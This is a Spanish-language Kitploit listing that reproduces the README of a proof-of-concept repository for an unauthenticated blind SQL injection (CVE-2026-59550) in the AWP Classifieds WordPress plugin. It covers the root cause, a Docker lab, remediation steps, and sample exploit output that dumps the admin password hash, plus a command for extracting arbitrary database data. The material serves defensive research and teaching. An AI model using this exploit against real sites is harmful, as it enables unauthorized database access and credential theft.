Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-59550 — PoC de inyección SQL ciega basada en tiempo no autenticada para AWP Classifieds <= 4.4.7, con un laboratorio Docker, análisis completo y diff del parche. | Kitploit
Herramientas/GitHubGitHub/flx-0x00/cve-2026-59550
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónLabs y Práctica
GitHubflx-0x00/cve-2026-59550

CVE-2026-59550

PoC de inyección SQL ciega basada en tiempo no autenticada para AWP Classifieds <= 4.4.7, con un laboratorio Docker, análisis completo y diff del parche.

Ver Repositorio
2hace 7h 44mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-59550 - AWP Classifieds ≤ 4.4.7 inyección SQL no autenticada

Inyección SQL ciega basada en tiempo no autenticada en el plugin de WordPress AWP Classifieds (another-wordpress-classifieds-plugin), accesible a través del flujo anónimo (invitado) de envío de anuncios por AJAX del plugin.

CVECVE-2026-59550
PluginAWP Classifieds (another-wordpress-classifieds-plugin)
Vulnerable<= 4.4.7
Parcheado4.4.8
ClaseInyección SQL (OWASP A3: Injection)
PrivilegioNo autenticado
CVSS v3.19.3 (Alto)
SinkAWPCP_BasicRegionsAPI::save() - includes/regions-api.php
Reportado porThaer Assfour (vía Patchstack)
Avisohttps://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability

TL;DR

AWPCP_BasicRegionsAPI::save() reenvía las claves de un array regions proporcionado por el usuario directamente a $wpdb->insert() / $wpdb->update(). WordPress envuelve los nombres de columna en backticks pero no los escapa, por lo que una clave que contenga un backtick rompe el identificador e inyecta SQL arbitrario. El array regions se toma literalmente de $_POST y toda la cadena es alcanzable sin autenticación siempre que la publicación de anuncios por invitados esté habilitada (requireuserregistration = 0, el valor por defecto).

La corrección en 4.4.8 añade una lista blanca explícita de columnas (filter_region_columns()) y una lista blanca de campos para las regiones enviadas (prepare_submitted_region()).

Estructura del repositorio

root@kitploit:~
.
├── README.md                     # this file
├── docs/
│   └── WRITEUP.md                # full technical writeup
├── exploit/
│   ├── exploit.py                # unauthenticated blind SQLi PoC
│   └── requirements.txt
├── lab/
│   ├── docker-compose.yml        # WordPress 6.8 + MariaDB 11, vuln + patched
│   ├── setup.sh                  # stage plugins, boot, provision both sites
│   └── teardown.sh               # remove containers + volumes + staged files
└── patches/
    ├── 4.4.8-regions-api.diff    # the security fix (single file)
    └── 4.4.7-to-4.4.8-full.diff  # complete release diff

Inicio rápido

Requisitos: Docker + Docker Compose, Python 3 con requests, unzip.

root@kitploit:~
# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
           /path/to/another-wordpress-classifieds-plugin.4.4.8.zip
#   -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
#   -> patched    (4.4.8): http://localhost:8090/?page_id=8

# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080            # should be VULNERABLE
python3 exploit.py http://localhost:8090            # should be PATCHED

# 3. tear everything down
cd ../lab && ./teardown.sh

setup.sh acepta los dos archivos del plugin como argumentos o mediante las variables de entorno AWP447_ZIP / AWP448_ZIP; recurre a ~/Downloads/<slug>.4.4.7.zip y ~/Downloads/<slug>.4.4.8.zip. Los archivos no están incluidos en este repositorio - las copias sin procesar del núcleo de WordPress y del plugin residen únicamente dentro de lab/html-*/ y están ignoradas por git.

Qué hace el PoC

root@kitploit:~
[*] target          : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
  [+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version  : 11.8.9-MariaDB
[+] first WP user : admin

Extrae datos arbitrarios con una consulta explícita:

root@kitploit:~
python3 exploit.py http://localhost:8080 \
  --query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
  --maxlen 60

El PoC es un oráculo basado en tiempo, por lo que no necesita reflejar la salida SQL y funciona en un objetivo totalmente ciego.

La causa raíz en una línea

root@kitploit:~
// includes/regions-api.php (4.4.7)
public function save( $region ) {
    ...
    $result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}

Consulta docs/WRITEUP.md para el análisis completo de contaminación (taint analysis), la traza de la petición, la prueba del SQL generado y la discusión de la corrección.

Remediación

  • Actualiza AWP Classifieds a 4.4.8 o posterior.
  • Medida provisional: aplica requireuserregistration = 1 y/o bloquea las acciones AJAX awpcp_save_listing_information / awpcp_create_empty_listing.

Legal

Este material se proporciona únicamente para investigación de seguridad defensiva, educación y pruebas autorizadas. No lo utilices contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito por escrito para realizar pruebas. El laboratorio está totalmente contenerizado y es desechable.

Descargar herramienta